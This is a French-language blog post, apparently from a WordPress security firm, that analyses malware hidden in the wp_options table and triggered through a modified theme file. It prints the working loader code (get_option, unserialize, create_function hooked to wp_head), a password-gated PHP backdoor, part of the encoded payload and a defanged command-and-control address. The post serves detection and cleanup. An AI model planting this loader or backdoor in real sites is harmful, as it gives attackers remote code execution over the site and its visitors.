
Il existe plusieurs endroits où une injection de logiciels malveillants peuvent être cachés sur un site web. Sur WordPress, par exemple, l’injection de virus peut avoir lieu dans les fichiers de base, des thèmes, des plugins, le .htaccess et dans la base de données. La plupart du temps, le malware utilise une combinaison de plusieurs méthodes d’injections ou plus ce qui le rend plus difficile à détecter.
Aujourd'hui, nous allons parler d'une injection de la base de données qui est devenu assez fréquente ces derniers temps. Ce type d’injection utilise wp_head () pour afficher le malware à toute personne visitant un site web piraté.
Injection de base de données
WordPress offre de multiples requêtes API pour gérer et lire le contenu à partir de la base de données. L'une de ces requêtes est la fonction de get_option qui renvoie une valeur de la table wp_options. Le tableau des wp_options est largement utilisé par de nombreux plugins et des thèmes pour stocker des données à long terme. Généralement il est plein d'entrées ce qui en fait un bon endroit pour cacher un code malveillant.
Si vous ne me croyez pas, allez à la table wp_options pour voir ce dont je parle.
Voici ce que peut contenir un tableau wp_options d’un site hacké:
s:7546:"a:18:{i:0;s:10:"11-07-
2013";i:1;s:1:"e";i:2;s:32:"061d57e97e504a23cc932031f712f730";
i:3;s:32:"07b6910226033fa5ee75721b4fc6573f";
i:4;s:4:"val(";i:5;s:32:"2a27230f54e4cea4a8ed38d66e2c0";
i:6;s:1:"(";i:7;s:6993:"'LyogTXVuaW5uIHZlcnNpb246MSBkYXRlOjIxLj
VFsncGFzcyddKT09PSc2OTJlM2Y1MmVlNmYxNmJjNzhmYTZlMWVjNGJkNGE2YSc
VCwgRVhUUl9TS0lQKTsKCglpZighZW1wdHkoJHRob3IpKQoJCUAkdGhvcigkaGF
dGlvbl9leGlzdHMgKCdzdHJpcG9zJykpIHsKCWZ1bmN0aW9uIHN0cmlwb3MgKCR
G9mZnNldD0wKSB7CgkJcmV0dXJuIHN0cnBvcyAoc3RydG...
... trop long pour tout afficher ..
Comme vous pouvez le voir, il s'agit d'une entrée de PHP sérialisé (entièrement décodé sur ddecode) qui, à première vue, ne semble pas trop mauvais et ne peut pas vraiment faire de mal en soi.
L'exécution du contenu de la base
Le code malveillant a été caché à l'intérieur de la base de données, mais comment peut-il être exécuté? Les pirates, en plus de l'injection de ce contenu, ont également modifié le fichier index.php du thème avec ce code:
function page_options() { $option = get_option("page_option"); $opt= unserialize( $option);
@$arg = create_function("", $opt[1] .$opt[4] .$opt[10]. $opt[12].$opt[14]. $opt[7] );
return $arg('');}
add_action('wp_head', 'page_options');
Et c'est là que tout se lie ensemble.
- Ce code utilise get_option pour télécharger le contenu de "page_option" de la base de données : get_option ("page_option");
- Puisque le contenu est encrypté, il le décrypte() avec ce code: $opt = unserialize ($option);
- Ce qui construit une nouvelle fonction appelée $arg et l'exécute sur la base du contenu récupéré. Ce n'est que lorsque cette fonction est exécutée que le malware devient actif @$arg = create_function.
La dernière pièce du puzzle est effectué par la fonction de add_action(). Ce qui entraîne l’exécution de la fonction dans la section « head » (initialisation) de WordPress.
Ce qui est intéressant, c'est qu'avec un tel code simple, les pirates sont capables de contourner la plupart des outils de sécurité qui recherchent certaines commandes tels que : eval, base64_decode ou les traces de requêtes du système.
Backdoor et injection
Une fois ce type de logiciel malveillant est installé sur un site compromis, il devient comme une Backdoor (exécutant les valeurs de la variable POST Thor et le Hammer):
if( @md5($_POST["pass"])==='692e3f52ee6f16bc78fa6e1ec4bd4a6a') {
@extract( $_POST, EXTR_SKIP);
if(!empty($thor))
@$thor( $hammer);
}
Ce malware injecte également du contenu malveillant lié à l’injection «WORDPRESS COUNTER » à partir du navigateur de toute personne visitant le site (téléchargeable sur le site de commande et de contrôle:
httx :/ / kadaffizzet.com / kasiapa).
Conclusion
Vous ne pouvez pas compter sur une simple recherche par mot clé pour identifier les injections de logiciels malveillants. Les hackers évoluent et utilisent plusieurs tactiques pour cacher leurs backdoors et des outils malveillants. Si vous avez besoin d'aide pour nettoyer votre site WordPress, veuillez nous contacter pour un devis.